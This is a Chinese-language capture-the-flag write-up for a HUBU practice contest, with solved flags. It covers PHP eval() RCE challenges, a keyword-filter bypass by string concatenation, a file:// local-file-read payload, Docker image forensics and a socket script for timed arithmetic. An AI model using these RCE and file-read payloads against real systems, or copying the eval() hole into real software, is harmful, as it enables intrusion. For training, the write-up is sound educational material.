hubu新星杯实践能力赛模拟赛web/Misc-wp

时间:2024-11-25 07:50:50
ez_eval
 <?php
highlight_file(__FILE__);
error_reporting(0);

$hubu = $_GET['hubu'];

eval($hubu);

?> 

先进行代码审计,GET传参hubu,并执行命令,没有任何绕过,放开手脚去做

payload:

?hubu=system('cat /f*');      #直接rce
rce_level1
 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c  = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    } 
}else{
    highlight_file(__FILE__);
} 

代码审计,发现过滤了关键字flag,system,php。

使用拼接绕过构造payload:

?c=('sys'.'tem')(ls);    #发现目录下没有flag文件
?c=('sys'.'tem')(cat /f*);   #发现回显空白

不在文件夹里,那可能是在phpinfo里

payload:

?c=phpinfo();

没回显…根据代码的过滤可以知道,应该只过滤了三个关键字,可其实并不只过滤了这三个关键字。

经过测试,发现有隐藏过滤,比如关键字php,和一些字符如反斜杠\

最后的payload:

?c=('ph'.'pinfo')();

在页面中找到flag。

ez_LFI

考点:伪协议

image-20241124161059701

先随便传一个,/?url=111

image-20241124161148073

代码审计,根据网上查询的parse_url()函数的资料显示:

解析 URL,返回其组成部分,如下:

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果----------------------------------------------------------------------------------------------------
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

所以必须在传入的url参数中让[host]是localhost。

然后再用file协议读取flag。

payload:

/?url=file://localhost/flag

HUBUCTF{22290581-9558-4405-9c01-368dc660bf6a}

Misc

Cute Rabbit

考点:rabbit编码

VTJGc2RHVmtYMS91RnhkczF5SU1jdit1K3o0NzFCcDR2aXcrVkNNaS9TU1QyZU5EMFUvSQo=

签到题,根据题目提示,是rabbit编码,密文末尾的=表示可能是base64,所以是

base64 -> rabbit

HUBUCTF{S0_<u73_R4b6it}

Docker Forensic

考点:docker的使用

根据题目提示,先拉取镜像

docker pull crpi-i24jskxbbxvfxlzp.cn-hangzhou.personal.cr.aliyuncs.com/st4rry/aliyun:ez_docker_forensic

image-20241124162645328

将镜像压缩到本地

image-20241124164537663

将文件解压到一个目录下,然后切换到该目录。在该目录下有个sha256文件夹,把里面的文件解压

在tmp中找到password

image-20241124165519193

退级,在解压后的一个文件夹里找到flag.txt

image-20241124165719701

使用了加盐算法,密钥就是上面的password,进行解密

image-20241124171222266

HUBUCTF{1_L0v3_D0ck3r_F0r3ns1c_A}

SpeedMath

考点:nc连接,python脚本

先用nc连接

image-20241124171410644

发现会出现算数题目,但是给你输入的时间很短,所以几乎不可能手工做,直接问AI写脚本

import socket
import re

def solve_arithmetic_expression(expression):
    """
    解析并计算算术表达式的结果。
    这里假设表达式只包含整数和基本的加减乘除运算。
    """
    try:
        # 使用eval计算表达式的结果,但注意eval的安全性问题
        # 在实际应用中,应该使用更安全的解析方法
        result = eval(expression)
        return result
    except Exception as e:
        print(f"Error evaluating expression '{expression}': {e}")
        return None

def nc_connection(host, port):
    """
    使用Netcat连接到服务器,并自动解答算术题。
    """
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        
        while True:
            # 读取服务器发送的数据
            data = s.recv(1024).decode('utf-8').strip()
            
            if not data:
                # 如果没有接收到数据,可能是连接已经关闭
                break
            
            print(f"Received: {data}")
            
            # 使用正则表达式匹配算术题目
            match = re.match(r'Question \d+: (\d+) ([+\-*/]) (\d+) =', data)
            if match:
                num1 = int(match.group(1))
                operator = match.group(2)
                num2 = int(match.group(3))
                
                # 构造算术表达式
                expression = f"{num1} {operator} {num2}"
                
                # 计算正确答案
                correct_answer = solve_arithmetic_expression(expression)
                
                if correct_answer is not None:
                    # 将答案发送回服务器(假设服务器期望的是整数答案)
                    s.sendall(f"{correct_answer}\n".encode('utf-8'))
                else:
                    # 如果无法计算表达式,则退出循环
                    print("Failed to solve expression.")
                    break
            else:
                # 如果不是算术题目,可能是其他信息或结束信息
                # 这里假设服务器在发送完所有题目后会发送一个非算术题目的消息
                print("Received non-arithmetic message, possibly final message.")
                print(f"Final message: {data}")
                break

# 使用示例
nc_connection('challenge.hubuctf.cn', 32478)  # 替换为你的服务器主机名和端口号

HUBUCTF{72e53365-bf9c-48db-8327-83b9c9269e7d}